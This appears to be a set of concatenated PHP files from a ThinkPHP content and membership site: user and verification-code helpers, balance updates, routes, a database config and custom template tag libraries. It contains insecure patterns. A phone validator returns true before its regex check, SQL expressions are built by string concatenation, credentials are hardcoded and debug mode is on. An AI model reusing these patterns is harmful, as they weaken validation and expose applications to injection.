
}

$yaoqing=Db::name('yaoqing')->where(['uid'=>$data['id']])->find();

if(!$yaoqing){

$yaoqing=Db::name('yaoqing')->insert(['uid'=>$data['id']]);

}

$data['yaoqing']=$yaoqing;

$data['sfz'] = Db::name('member\_sfz')->where(['uid'=>$data['id']])->value('hide');

if($name){

return $data[$name];

}else{

return $data;

}

}

function \_userName\_id($id){

return base\_convert($id, 9, 4);

}

function \_userData($data,$field='nickname',$fuhao='\*\*\*\*'){

if(!$data) return '';

if($data['nickname']){

$data['username']=$data['nickname'];

}else if($data['user']){

$data['username']=$data['user'];

}else if($data['mobile']){

if($fuhao){

$data['username']=substr($data['mobile'],0,3).$fuhao.substr($data['mobile'],7,4);

}else{

$data['username']=$data['mobile'];

}

}else if($data['email']){

if(!$fuhao){

$email = explode('@',$data['email']);

$data['username'] = substr($data['email'],0,2).$fuhao.$email[1];

}else{

$data['username']=$data['email'];

}

}else{

$data['username']='用户'.$data['id'];

}

if(!$data['qianming']){

$data['qianming']='这家伙好懒，什么都不留下！';

}

if(!$data['img']){

$data['img']='/public/style/index/member/img/userimg.gif';

}

if($field){

return $data[$field];

}else{

return $data['username'];

}

}

function \_username($data,$fuhao='\*\*\*\*'){

if($data['nickname']){

$data['username']=$data['nickname'];

}else if($data['mobile']){

if($fuhao){

$data['username']=substr($data['mobile'],0,3).$fuhao.substr($data['mobile'],7,4);

}else{

$data['username']=$data['mobile'];

}

}else{

$data['username']='用户'.$data['id'];

}

return $data['username'];

}

function \_userImg($img='',$w='',$h=''){

if(!$img){

return '/public/style/index/member/img/userimg.gif';

}else{

return $img;

}

}

/\*检测是否手机\*/

function \_isMobile($mobile=''){

if(!$mobile){

return false;

}

if(strlen($mobile)!=11){

return false;

}

return true;

if (!is\_numeric($mobile)) {

return false;

}

return preg\_match('#^13[\d]{9}$|^14[5,7]{1}\d{8}$|^15[^4]{1}\d{8}$|^17[0,6,7,8]{1}\d{8}$|^18[\d]{9}$#', $mobile) ? true : false;

}

/\*检测是否邮箱\*/

function \_isEmail($email=''){

if(mb\_strlen($email)<5){

return false;

}

$res="/^([a-zA-Z0-9]+[\_|\\_|\.]?)\*[a-zA-Z0-9]+@([a-zA-Z0-9]+[\_|\\_|\.]?)\*[a-zA-Z0-9]+\.[a-zA-Z]{2,3}$/";

if(preg\_match($res,$email)){

return true;

}else{

return false;

}

}

function \_code($username='',$content=''){

if(!$username){

return '号码不能为空';

}

if(!$content){

return '验证码第二个参数不可为空，请检查\_code()函数第二个参数';

}

$mobile=$email=false;

if(\_isMobile($username)){

$mobile=$username;

$name='手机';

}else if(\_isEmail($username)){

$email=$username;

$name='邮箱';

}else{

return '号码格式错误，请检查号码是否正确1';

}

if(!$mobile && !$email){

return '号码格式错误，请检查号码是否正确2';

}

$ip=\_ip();

if(!$ip) return 'IP地区异常或无法获取IP';

$nus=10;

$count=Db::name('code')->where('username',$username)->whereTime('time', 'd')->fetchSql(false)->count();

if($count > $nus){

return '请不要频繁刷验证码，每天最多获取'.$nus.'个，请明天获取';

}

$time=time();

$db=Db::name('code')->where('username',$username)->order('id desc')->find();

if($db){

$maturity=$db['time']+$db['maturity'];

if($maturity > $time){

return '请不要频繁操作，等待'.($maturity-$time).'秒后再获取'.$name.'验证码';

}

}

$code=rand(100000,999999);

$shijian=120;

$where['username']=$username;

$where['code']=$code;

$where['time']=time();

$where['maturity']=$shijian;

$where['ip']=$ip;

$where['content']=$content;

$where['system']=$\_SERVER['HTTP\_USER\_AGENT'];

if($content=='注册' || $content=='账户注册'){

$temp['name']='tempReg';

$sdkMobile='sdkReg';

}else if($content=='登录' || $content=='短信登录'){

$temp['name']='tempLogin';

$sdkMobile='sdkLogin';

}else if($content=='找回密码'){

$temp['name']='tempPwd';

$sdkMobile='sdkPwd';

}else if($content=='绑定' || $content=='绑定手机'){

$temp['name']='tempMobile';

$sdkMobile='sdkMobile';

}else{

$temp=false;

$sdkMobile=false;

}

if($temp){

$temp['type']='sdkTemp';

$temp=Db::name('member\_config')->where($temp)->value('text');

$time=2;

$title=config('config')['title'];

$temp=str\_replace("\${code}",$code,$temp);

$Send = new Send;

if($name=='邮箱'){

$result = $Send->email(['email'=>$username,'content'=>$temp]);

if($result !== true){

$data='邮箱发送失败，请检查后台邮箱配置是否正确，'.$result;

}else{

$data=1;

}

}else if($name=='手机'){

if(!$sdkMobile){

return 'sdkMobile比较值不存在';

}

$sdkMobile=Db::name('member\_config')->where('name',$sdkMobile)->value('text');

$result = $Send->sms([

'param' => ["code"=>"$code"],

'mobile' => $username,

'template' => $sdkMobile,

]);

if($result !== true){

$data='短信发送失败：'.$result;

}else{

$data=1;

$data=Db::name('code')->insert($where);

}

}else{

$data='$name比较错误';

}

}else{

$data='模板通知内容获取错误';

}

return $data;

}

function \_codechecking($code='',$username=''){

if(!$code) return '请输入验证码';

if(!$username) return '请输入号码';

$mobile=$email=false;

if(\_isMobile($username)){

$mobile=$username;

}elseif(\_isEmail($username)){

$email=$username;

}else{

return '号码未知或格式错误1';

}

if(!$mobile && !$email) return '号码未知或格式错误2';

$db=Db::name('code')->where(['code'=>$code,'username'=>$username])->find();

if(!$db){

if($mobile){

return '手机验证码错误';

}else if($email){

return ['邮箱验证码错误'];

}else{

return ['验证码错误，请重新输入'];

}

}

$time=time();

$jdate=$db['time']+$db['maturity'];

if($time>$jdate) return '验证码过期，请重发验证码';

if(md5($db['code'])==md5($code) && md5($db['username'])==md5($username)){

Db::name('code')->where('id',$db['id'])->setField('type',1);

return 1;

}else{

if($mobile){

return '手机验证码错误';

}else if($email){

return ['邮箱验证码错误'];

}else{

return ['验证码错误，请重新输入'];

}

}

}

function \_mobile($mobile){

if(!$mobile){

return '';

}

$data=substr($mobile,0,3).'\*\*\*\*'.substr($mobile,7,4);

return $data;

}

function \_imgUrl(){

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

return $db['3']['text'];

}

function \_inArray($b,$a){

if(!$b || !$a){

return;

}

foreach ($a as $value){

if (strtolower($value) == strtolower($b)){

echo true;

break;

}

}

}

function videoDate($date){

$date=intval($date);

if(!$date){

return;

}

if($date<59){

$data='00:'.$date;

}else{

$hour = floor($date/3600);

$minute = floor(($date-3600\*$hour)/60);

if($minute<10){

$minute="0".$minute;

}

$second = floor((($date-3600\*$hour)-60\*$minute)%60);

if($second<10){

$second="0".$second;

}

$data=$minute.':'.$second;

}

return $data;

}

function \_typeTid($tid) {

$data[]=(int)$tid;

$typetid=Db::name('typeid')->where('tid',$tid)->field('id')->cache(\_cache('db'))->select();

if($typetid){

foreach ($typetid as $k => $v) {

$data[]=$v['id'];

\_typeTid($v['id']);

}

}

return $data;

}

function \_userGuanzhuList($uid) {

$data=Db::name('member\_guanzhu')->where(['uid'=>$uid])->field('gz\_uid')->select();

if($data){

$user=[];

foreach ($data as $v) {

$user[]=$v['gz\_uid'];

}

return $user;

}

return false;

}

function \_time($time){

$text = '';

$time = $time === NULL || $time > time() ? time() : intval($time);

$t = time() - $time;

$y = date('Y', $time)-date('Y', time());

switch($t){

case $t == 0:

$text = '刚刚';

break;

case $t < 60:

$text = $t . '秒前';

break;

case $t < 60 \* 60:

$text = floor($t / 60) . '分钟前';

break;

case $t < 60 \* 60 \* 24:

$text = floor($t / (60 \* 60)) . '小时前';

break;

case $t < 60 \* 60 \* 24 \* 3:

$text = floor($time/(60\*60\*24)) ==1 ?'昨天 ' . date('H:i', $time) : '前天 ' . date('H:i', $time) ;

break;

case $t < 60 \* 60 \* 24 \* 30:

$text = date('m-d H:i', $time);

break;

case $t < 60 \* 60 \* 24 \* 365&&$y==0:

$text = date('m-d', $time);

break;

default:

$text = date('Y-m-d', $time);

break;

}

return $text;

}

function \_moneyDb($data){

if(empty($data['uid'])){

return;

}

$uid=$data['uid'];

$where=[];

$time=time();

$ip=\_ip();

if(!empty($data['money'])){

$name=$data['money'];

if(empty($name['type'])){

$type='+';

}else{

$type='-';

}

$money=$name['money'];

$where['money'] = ['exp','money'.$type.$money];;

if($type=='+'){

$where['money\_num'] = ['exp','money\_num+'.$money];

}

$content=$name['content'];

if(!empty($content)){

$datas=$type=='+' ? '0' : '1';

Db::name('yaoqing\_records')->insert(['uid'=>$uid,'content'=>$content ,'money'=>$money,'data'=>$datas,'time'=>$time,'ip'=>$ip]);

}

}

if(!empty($data['jinbi']['money'])){

$name=$data['jinbi'];

if(empty($name['type'])){

$type='+';

}else{

$type='-';

}

$money=$name['money'];

$where['jinbi'] = ['exp','jinbi'.$type.$money];;

if($type=='+'){

$where['jinbi\_num'] = ['exp','jinbi\_num+'.$money];

}

$content=$name['content'];

if(!empty($content)){

$datas=$type=='+' ? '0' : '1';

Db::name('yaoqing\_records')->insert(['uid'=>$uid,'content'=>$content ,'money'=>$money,'data'=>$datas,'type'=>1,'time'=>$time,'ip'=>$ip]);

}

}

if(empty($where)){

return;

}

$db=DB::name('yaoqing')->where('uid',$uid)->update($where);

return $db;

}

function \_money($money){

if(empty($money)){

return '0.00';

}

return number\_format($money/100,2,'.','');

}

function \_num($a){

if($a > 10000){

$a = round($a / 10000,2).'万';

}

return $a;

}

<?php

return [

'reg/' => 'user/reg',

'pwd/' => 'user/password',

'member/moneypay' => 'member/moneypay',

'member/article' => 'member/article',

'member/articleadd' => 'member/articleadd',

'member/favoritelist' => 'member/favoritelist',

'member/modify' => 'member/modify',

'member/nickname' => 'member/nickname',

'member/mobile' => 'member/mobile',

'member/email' => 'member/email',

'member/password' => 'member/password',

'member/records' => 'member/records',

'member/out' => 'member/out',

];

<?php

return [

'type' => 'mysql',

'hostname' => 'db',

'database' => 'suxiangw',

'username' => 'suxiangw',

'password' => 'suxiangw',

'hostport' => '',

'dsn' => 'mysql:host=db;dbname=suxiangw',

'params' => [],

'charset' => 'utf8',

'prefix' => 'fx\_',

'debug' => true,

'deploy' => 0,

'rw\_separate' => false,

'master\_num' => 1,

'slave\_no' => '',

'fields\_strict' => true,

'resultset\_type' => 'array',

'auto\_timestamp' => false,

'sql\_explain' => false,

];

<?php

return [];<?php

/\*\*

\* Created by PhpStorm.

\* User: WANG

\* Date: 2016-08-11

\* Time: 9:58

\*/

namespace app\common\taglib;

use think\template\TagLib;

use think\Db;

class Tag extends TagLib

{

/\*\*

\* 定义标签列表

\*/

protected $tags = [

'close' => ['attr' => 'time,format', 'close' => 0],

'open' => ['attr' => 'name,type', 'close' => 1],

'web' => ['attr' => 'name', 'close' => 0],

'nav' => ['attr' => 'pid,limit,orderby'],

'product' => ['attr' => 'cid,field,orderby,limit,pagesize'],

'article' => ['attr' => 'cid,field,orderby,limit,pagesize,empty'],

'archived' => ['close' => 1]

];

/\*\*

\* 这是一个闭合标签的简单演示

\*/

public function tagClose($tag)

{

$format = empty($tag['format']) ? 'Y-m-d H:i:s' : $tag['format'];

$time = empty($tag['time']) ? time() : $tag['time'];

$parse = '<?php ';

$parse .= 'echo date("' . $format . '",' . $time . ');';

$parse .= ' ?>';

return $parse;

}

/\*\*

\* 这是一个非闭合标签的简单演示

\*/

public function tagOpen($tag, $content)

{

$type = empty($tag['type']) ? 0 : 1;

$name = $tag['name'];

$parse = '<?php ';

$parse .= '$test\_arr=[[1,3,5,7,9],[2,4,6,8,10]];';

$parse .= '$list = think\Db::name(\'product\')->where(\'cid\',1)->select();';

$parse .= '$\_\_LIST\_\_ = $list;';

$parse .= '?>';

$parse .= '{volist name="\_\_LIST\_\_" id="' . $name . '"}';

$parse .= $content;

$parse .= '{/volist}';

return $parse;

}

public function tagWeb($tag){

$name = $tag['name'];

$parse = <<<EOF

<?php

\$name = think\Db::name('system')->where(['name'=> 'site\_$name'])->value('value');

echo \$name;

?>

EOF;

return $parse;

}

/\*\*

\* 获取导航列表

\*/

public function tagNav($tag, $content)

{

$pid = $tag['pid'];

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$parse = <<<EOF

<?php

\$\_\_LIST\_\_ = getAllCategory(0,"$pid","$limit");

foreach(\$\_\_LIST\_\_ as \$key => \$nav):

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach; ?>';

return $parse;

}

/\*\*

\* 获取文章归档列表

\*/

public function tagArchived($tag, $content)

{

$parse = <<<EOF

<?php

\$\_\_LIST\_\_ = think\Db::name('article')

->field("FROM\_UNIXTIME(publishtime,'%Y-%m') as date,count(id) as count")

->where('status',0)

->group('date')

->order('date DESC')

->select();

foreach(\$\_\_LIST\_\_ as \$key => \$archived):

\$archived['url'] = url('search/search4Date',['date' => \$archived['date']]);

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach; ?>';

return $parse;

}

/\*\*

\* 获取商品列表

\*/

public function tagProduct($tag, $content)

{

$cid = isset($tag['cid']) ? $tag['cid'] : 0;

$order = isset($tag['orderby']) ? $tag['orderby'] : '';

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$pagesize = isset($tag['pagesize']) ? $tag['pagesize'] : 0;

$field = isset($tag['field']) ? $tag['field'] : '';

$parse = <<<EOF

<?php

\$list = think\Db::name('product')->where(['cid'=> $cid,'status' => 0]);

if("$field" != ''){

\$list=\$list->field("$field");

}

if("$order" != ''){

\$list=\$list->order("$order");

}

if($pagesize > 0){

\$list=\$list->paginate($pagesize);

\$page = \$list->render();

}else{

if($limit != 0){

\$list=\$list->limit($limit);

}

\$list=\$list->select();

}

\$\_\_LIST\_\_ = \$list;

foreach(\$\_\_LIST\_\_ as \$key => \$product):

\$product['url'] = url('show/index',['cid' => \$product['cid'],'id' => \$product['id']]);

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach; ?>';

return $parse;

}

/\*\*

\* 获取文章列表

\*/

public function tagArticle($tag, $content)

{

$cid = isset($tag['cid']) ? $tag['cid'] : 0;

$order = isset($tag['orderby']) ? $tag['orderby'] : '';

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$pagesize = isset($tag['pagesize']) ? $tag['pagesize'] : 0;

$field = isset($tag['field']) ? $tag['field'] : '';

$empty = isset($tag['empty']) ? $tag['empty'] : '';

/\*$children\_ids = Db::name('category')->where('pid',$cid)->field('id')->select();

print\_r(array\_column($children\_ids,'id'));die;\*/

$parse = <<<EOF

<?php

\$condition['status'] = 0;

/\*存在子类，则获取子类下的文章\*/

if($cid){

\$condition['cid'] = $cid;

\$children\_ids = think\Db::name('category')->field('id')->where('pid',\$condition['cid'])->select();

\$children\_ids = array\_column(\$children\_ids,'id');

}

\$list = think\Db::name('article')->where(\$condition);

if(isset(\$children\_ids) && \$children\_ids){

\$list = \$list->whereor('cid','in',\$children\_ids);

}

if("$field" != ''){

\$list=\$list->field("$field");

}

if("$order" != ''){

\$list=\$list->order("$order");

}

if($pagesize > 0){

\$list=\$list->paginate($pagesize);

\$page = \$list->render();

}else{

if($limit != 0){

\$list=\$list->limit($limit);

}

\$list=\$list->select();

}

\$\_\_LIST\_\_ = \$list;

foreach(\$\_\_LIST\_\_ as \$key => \$article):

\$article['url'] = url('show/index',['cid' => \$article['cid'],'id' => \$article['id']]);

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach;?>';

return $parse;

}

}<?php

namespace app\common\taglib;

use think\template\TagLib;

use think\Db;

class Fx extends TagLib{

/\*\*

\* 定义标签列表

\*/

protected $tags = [

'close' => ['attr' => 'time,format', 'close' => 0],

'mychannel' => ['attr' => 'id,limit,order', 'close' => 1],

'typeid' => ['attr' => 'id,tid,limit,order,pagesize,field,image', 'close' => 1],

'article' => ['attr' => 'field,order,limit,pagesize,flags,typeid,image,id', 'close' => 1],

'slide' => ['attr' => 'field,order,limit,pagesize,id,tid', 'close' => 1],

'link' => ['attr' => 'order,limit,pagesize,id,img', 'close' => 1],

];

/\*\*

\* 获取栏目分类

\*/

public function tagMychannel($tag, $content)

{

$id = isset($tag['id']) ? $tag['id'] : '';

$order = isset($tag['order']) ? $tag['order'] : '';

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$parse = <<<EOF

<?php

unset(\$where); /\*unset销毁代码，处理怪异问题，待研究\*/

\$where=[];

/\*指定ID栏目3\*/

if("$id" != ''){

\$where['id'] = ['in','$id'];

}

\$list = think\Db::name('mychannel')->where(\$where);

/\*排序\*/

if("$order" != ''){

\$list=\$list->order("$order");

}else{

\$list=\$list->order("id asc");

}

/\*数量\*/

if($limit != 0){

\$list=\$list->limit($limit);

}

\$list=\$list->select();

/\*开始赋值\*/

\$\_\_LIST\_\_ = \$list;

foreach(\$\_\_LIST\_\_ as \$k => \$fx):

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach;?>';

return $parse;

}

/\*\*

\* 获取栏目分类

\*/

public function tagTypeid($tag, $content)

{

$id = isset($tag['id']) ? $tag['id'] : '';

$tid = isset($tag['tid']) ? $tag['tid'] : 0;

$field = isset($tag['field']) ? $tag['field'] : '';

$order = isset($tag['order']) ? $tag['order'] : '';

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$pagesize = isset($tag['pagesize']) ? $tag['pagesize'] : 0;

$image = isset($tag['image']) ? $tag['image'] : "";

$parse = <<<EOF

<?php

unset(\$where); /\*unset销毁代码，处理怪异问题，待研究\*/

\$where['hide']=1;

if($tid !=''){

\$where['tid'] = $tid;

}

/\*模型频道\*/

/\*判断是否有缩略图\*/

if("$image" != ''){

if('$image'=='image'){

\$where['image'] = ['neq',''];

}else if('$image'=='imageNo'){

\$where['image'] = ['eq',''];

}else{

}

}

/\*指定ID栏目3\*/

if("$id" != ''){

\$where['id'] = ['in','$id'];

}

\$list = think\Db::name('typeid')->where(\$where);

/\*栏目排序\*/

if("$order" != ''){

\$list=\$list->order("$order");

}else{

\$list=\$list->order("des desc,id asc");

}

/\*分页与数量\*/

if($pagesize !=''){

if($pagesize==0){

\$list=\$list->paginate();

}else{

\$list=\$list->paginate($pagesize);

}

\$page = \$list->render();

}else{

/\*数量\*/

if($limit != 0){

\$list=\$list->limit($limit);

}

\$list=\$list->select();

}

/\*开始赋值\*/

\$\_\_LIST\_\_ = \$list;

foreach(\$\_\_LIST\_\_ as \$k => \$fx):

if(!\$fx['url']){

\$fx['url'] = url("article/typeid",["id"=>\$fx["id"]]);

}

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach;?>';

return $parse;

}

/\*\*

\* 获取文章列表 \$url = url("article/article",["id"=>\$v["id"]]);

\$title = \$v["title"];

\$id = \$v["id"];

\$typeid = \$v["typeid"];

\$typeid = \$v["typeid"];

\$fields=think\Db::getTableInfo('fx\_article','fields');

extract(\$fields);

echo \$fields[1];

\*/

public function tagArticle($tag, $content)

{

$v = isset($tag['v']) ? $tag['v'] : 'fx';

$id = isset($tag['id']) ? $tag['id'] : '';

$typeid = isset($tag['typeid']) ? $tag['typeid'] : 0;

$order = isset($tag['order']) ? $tag['order'] : '';

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$pagesize = isset($tag['pagesize']) ? $tag['pagesize'] : 0;

$field = isset($tag['field']) ? $tag['field'] : '';

$flags = isset($tag['flags']) ? $tag['flags'] : 0;

$time = isset($tag['time']) ? $tag['time'] : '';

$keywords = isset($tag['keywords']) ? $tag['keywords'] : '';

$image = isset($tag['image']) ? $tag['image'] : "";

$parse = <<<EOF

<?php

unset(\$where); /\*unset销毁代码，处理怪异问题，待研究\*/

\$where['flags']=$flags;

\$where['hide']=1;

/\*调用分类栏目\*/

if($typeid){

\$condition['cid'] = $typeid;

\$children\_ids = think\Db::name('typeid')->field('id')->where('tid',\$condition['cid'])->cache(\_cache('db'))->find();

/\*如果分类有子栏目\*/

if(\$children\_ids){

/\*调用全部所有子栏目\*/

\$children\_ids = think\Db::name('typeid')->field("id,tid")->order("id asc")->cache(\_cache('db'))->select();

\$children\_ids = \_typeidTid(\$children\_ids,\$condition['cid']);

\$children\_ids\_data=[];

\$children\_ids\_data[]=$typeid;

foreach (\$children\_ids as \$k => \$v) {

\$children\_ids\_data[]=\$v['id'];

}

\$where['typeid']=['in',\$children\_ids\_data];

}else{

/\*调用指定分类ID\*/

\$where['typeid']=$typeid;

}

}

/\*关键词搜索\*/

if("$keywords" != ''){

\$where['title'] = ['like','%$keywords%'];

}

/\*指定ID文章\*/

if("$id" != ''){

\$where['id'] = ['in','$id'];

}

/\*判断是否有缩略图\*/

if("$image" != ''){

if('$image'=='image'){

\$where['image'] = ['neq',''];

}else if('$image'=='imageNo'){

\$where['image'] = ['eq',''];

}else{

}

}

\$list = think\Db::name('article')->where(\$where);

/\*调用自定义属性\*/

if("$field" != ''){

\$list=\$list->field("$field");

}

/\*文章排序\*/

if("$order" != ''){

if("$order" == 'click'){

\$list=\$list->order("click desc,des desc,id desc");

}else{

\$list=\$list->order("$order");

}

}else{

\$list=\$list->order("des desc,id desc");

}

/\*时间表达式\*/

if("$time" != ''){

\$list=\$list->whereTime('create\_time','$time');

}

/\*分页与数量\*/

if($pagesize !=''){

if($pagesize==1){

\$list=\$list->paginate();

}else{

\$list=\$list->paginate($pagesize);

}

\$page = \$list->render();

}else{

/\*数量\*/

if("$limit" != 0){

\$list=\$list->limit($limit);

}

\$list=\$list->select();

}

/\*开始赋值\*/

\$\_\_LIST\_\_ = \$list;

foreach(\$\_\_LIST\_\_ as \$k => \${$v}):

if(!\${$v}['url']){

\${$v}['url'] = url("article/view",["id"=>\${$v}["id"]]);

}

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach;?>';

return $parse;

}

/\*\*

\* 轮播图

\*/

public function tagSlide($tag, $content)

{

$id = isset($tag['id']) ? $tag['id'] : '';

$tid = isset($tag['tid']) ? $tag['tid'] : '';

$field = isset($tag['field']) ? $tag['field'] : '';

$order = isset($tag['order']) ? $tag['order'] : '';

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$pagesize = isset($tag['pagesize']) ? $tag['pagesize'] : 0;

$parse = <<<EOF

<?php

unset(\$where); /\*unset销毁代码，处理怪异问题，待研究\*/

\$where['hide']=1;

/\*指定ID 轮播图\*/

if("$id" != ''){

\$where['id'] = ['in','$id'];

}

/\*指定分组ID 多个指定分组填写 , 逗号\*/

if("$tid" != ''){

\$where['tid'] = $tid;

}

\$list = think\Db::name('slide')->where(\$where);

/\*排序\*/

if("$order" != ''){

\$list=\$list->order("$order");

}else{

\$list=\$list->order("des desc,id desc");

}

/\*调用自定义属性\*/

if("$field" != ''){

\$list=\$list->field("$field");

}

/\*分页与数量\*/

if($pagesize !=''){

if($pagesize==0){

\$list=\$list->paginate();

}else{

\$list=\$list->paginate($pagesize);

}

\$page = \$list->render();

}else{

/\*数量\*/

if("$limit" != 0){

\$list=\$list->limit($limit);

}

\$list=\$list->select();

}

/\*开始赋值\*/

\$\_\_LIST\_\_ = \$list;

foreach(\$\_\_LIST\_\_ as \$k => \$fx):

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach;?>';

return $parse;

}

/\*\*

\* 友情链接

\*/

public function tagLink($tag, $content)

{

$id = isset($tag['id']) ? $tag['id'] : '';

$order = isset($tag['order']) ? $tag['order'] : '';

$limit = isset($tag['limit']) ? $tag['limit'] : 0;

$pagesize = isset($tag['pagesize']) ? $tag['pagesize'] : 0;

$img = isset($tag['img']) ? $tag['img'] : "";

$parse = <<<EOF

<?php

unset(\$where); /\*unset销毁代码，处理怪异问题，待研究\*/

\$where=[];

/\*指定ID\*/

if("$id" != ''){

\$where['id'] = ['in','$id'];

}

/\*判断是否有缩略图\*/

if("$img" != ''){

if('$img'=='img'){

\$where['img'] = ['neq',''];

}else if('$img'=='imageNo'){

\$where['img'] = ['eq',''];

}

}

\$list = think\Db::name('link')->where(\$where);

/\*排序\*/

if("$order" != ''){

\$list=\$list->order("$order");

}else{

\$list=\$list->order("des desc,id desc");

}

/\*分页与数量\*/

if($pagesize !=''){

if($pagesize==0){

\$list=\$list->paginate();

}else{

\$list=\$list->paginate($pagesize);

}

\$page = \$list->render();

}else{

/\*数量\*/

if("$limit" != 0){

\$list=\$list->limit($limit);

}

\$list=\$list->select();

}

/\*开始赋值\*/

\$\_\_LIST\_\_ = \$list;

foreach(\$\_\_LIST\_\_ as \$k => \$fx):

?>

EOF;

$parse .= $content;

$parse .= '<?php endforeach;?>';

return $parse;

}

}<?php

namespace think\template\taglib;

use think\template\TagLib;

/\*\*

\* CX标签库解析类

\* @category Think

\* @package Think

\* @subpackage Driver.Taglib

\* @author liu21st <liu21st@gmail.com>

\*/

class Cx extends Taglib

{

protected $tags = [

'php' => ['attr' => ''],

'volist' => ['attr' => 'name,id,offset,length,key,mod', 'alias' => 'iterate'],

'foreach' => ['attr' => 'name,id,item,key,offset,length,mod', 'expression' => true],

'if' => ['attr' => 'condition', 'expression' => true],

'elseif' => ['attr' => 'condition', 'close' => 0, 'expression' => true],

'else' => ['attr' => '', 'close' => 0],

'switch' => ['attr' => 'name', 'expression' => true],

'case' => ['attr' => 'value,break', 'expression' => true],

'default' => ['attr' => '', 'close' => 0],

'compare' => ['attr' => 'name,value,type', 'alias' => ['eq,equal,notequal,neq,gt,lt,egt,elt,heq,nheq', 'type']],

'range' => ['attr' => 'name,value,type', 'alias' => ['in,notin,between,notbetween', 'type']],

'empty' => ['attr' => 'name'],

'notempty' => ['attr' => 'name'],

'present' => ['attr' => 'name'],

'notpresent' => ['attr' => 'name'],

'defined' => ['attr' => 'name'],

'notdefined' => ['attr' => 'name'],

'load' => ['attr' => 'file,href,type,value,basepath', 'close' => 0, 'alias' => ['import,css,js', 'type']],

'assign' => ['attr' => 'name,value', 'close' => 0],

'define' => ['attr' => 'name,value', 'close' => 0],

'for' => ['attr' => 'start,end,name,comparison,step'],

'url' => ['attr' => 'link,vars,suffix,domain', 'close' => 0, 'expression' => true],

'function' => ['attr' => 'name,vars,use,call'],

];

/\*\*

\* php标签解析

\* 格式：

\* {php}echo $name{/php}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string

\*/

public function tagPhp($tag, $content)

{

$parseStr = '<?php ' . $content . ' ?>';

return $parseStr;

}

/\*\*

\* volist标签解析 循环输出数据集

\* 格式：

\* {volist name="userList" id="user" empty=""}

\* {user.username}

\* {user.email}

\* {/volist}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string|void

\*/

public function tagVolist($tag, $content)

{

$name = $tag['name'];

$id = $tag['id'];

$empty = isset($tag['empty']) ? $tag['empty'] : '';

$key = !empty($tag['key']) ? $tag['key'] : 'i';

$mod = isset($tag['mod']) ? $tag['mod'] : '2';

$offset = !empty($tag['offset']) && is\_numeric($tag['offset']) ? intval($tag['offset']) : 0;

$length = !empty($tag['length']) && is\_numeric($tag['length']) ? intval($tag['length']) : 'null';

$parseStr = '<?php ';

$flag = substr($name, 0, 1);

if (':' == $flag) {

$name = $this->autoBuildVar($name);

$parseStr .= '$\_result=' . $name . ';';

$name = '$\_result';

} else {

$name = $this->autoBuildVar($name);

}

$parseStr .= 'if(is\_array(' . $name . ') || ' . $name . ' instanceof \think\Collection): $' . $key . ' = 0;';

if (0 != $offset || 'null' != $length) {

$parseStr .= '$\_\_LIST\_\_ = is\_array(' . $name . ') ? array\_slice(' . $name . ',' . $offset . ',' . $length . ', true) : ' . $name . '->slice(' . $offset . ',' . $length . ', true); ';

} else {

$parseStr .= ' $\_\_LIST\_\_ = ' . $name . ';';

}

$parseStr .= 'if( count($\_\_LIST\_\_)==0 ) : echo "' . $empty . '" ;';

$parseStr .= 'else: ';

$parseStr .= 'foreach($\_\_LIST\_\_ as $key=>$' . $id . '): ';

$parseStr .= '$mod = ($' . $key . ' % ' . $mod . ' );';

$parseStr .= '++$' . $key . ';?>';

$parseStr .= $content;

$parseStr .= '<?php endforeach; endif; else: echo "' . $empty . '" ;endif; ?>';

if (!empty($parseStr)) {

return $parseStr;

}

return;

}

/\*\*

\* foreach标签解析 循环输出数据集

\* 格式：

\* {foreach name="userList" id="user" key="key" index="i" mod="2" offset="3" length="5" empty=""}

\* {user.username}

\* {/foreach}

\* @access public

\* @param array $tag 标签属性

\* @param string $content 标签内容

\* @return string|void

\*/

public function tagForeach($tag, $content)

{

if (!empty($tag['expression'])) {

$expression = ltrim(rtrim($tag['expression'], ')'), '(');

$expression = $this->autoBuildVar($expression);

$parseStr = '<?php foreach(' . $expression . '): ?>';

$parseStr .= $content;

$parseStr .= '<?php endforeach; ?>';

return $parseStr;

}

$name = $tag['name'];

$key = !empty($tag['key']) ? $tag['key'] : 'key';

$item = !empty($tag['id']) ? $tag['id'] : $tag['item'];

$empty = isset($tag['empty']) ? $tag['empty'] : '';

$offset = !empty($tag['offset']) && is\_numeric($tag['offset']) ? intval($tag['offset']) : 0;

$length = !empty($tag['length']) && is\_numeric($tag['length']) ? intval($tag['length']) : 'null';

$parseStr = '<?php ';

if (':' == substr($name, 0, 1)) {

$var = '$\_' . uniqid();

$name = $this->autoBuildVar($name);

$parseStr .= $var . '=' . $name . '; ';

$name = $var;

} else {

$name = $this->autoBuildVar($name);

}

$parseStr .= 'if(is\_array(' . $name . ') || ' . $name . ' instanceof \think\Collection): ';

if (0 != $offset || 'null' != $length) {

if (!isset($var)) {

$var = '$\_' . uniqid();

}

$parseStr .= $var . ' = is\_array(' . $name . ') ? array\_slice(' . $name . ',' . $offset . ',' . $length . ', true) : ' . $name . '->slice(' . $offset . ',' . $length . ', true); ';

} else {

$var = &$name;

}

$parseStr .= 'if( count(' . $var . ')==0 ) : echo "' . $empty . '" ;';

$parseStr .= 'else: ';

if (isset($tag['index'])) {

$index = $tag['index'];

$parseStr .= '$' . $index . '=0; ';

}

$parseStr .= 'foreach(' . $var . ' as $' . $key . '=>$' . $item . '): ';

if (isset($tag['index'])) {

$index = $tag['index'];

if (isset($tag['mod'])) {

$mod = (int) $tag['mod'];

$parseStr .= '$mod = ($' . $index . ' % ' . $mod . '); ';

}

$parseStr .= '++$' . $index . '; ';

}

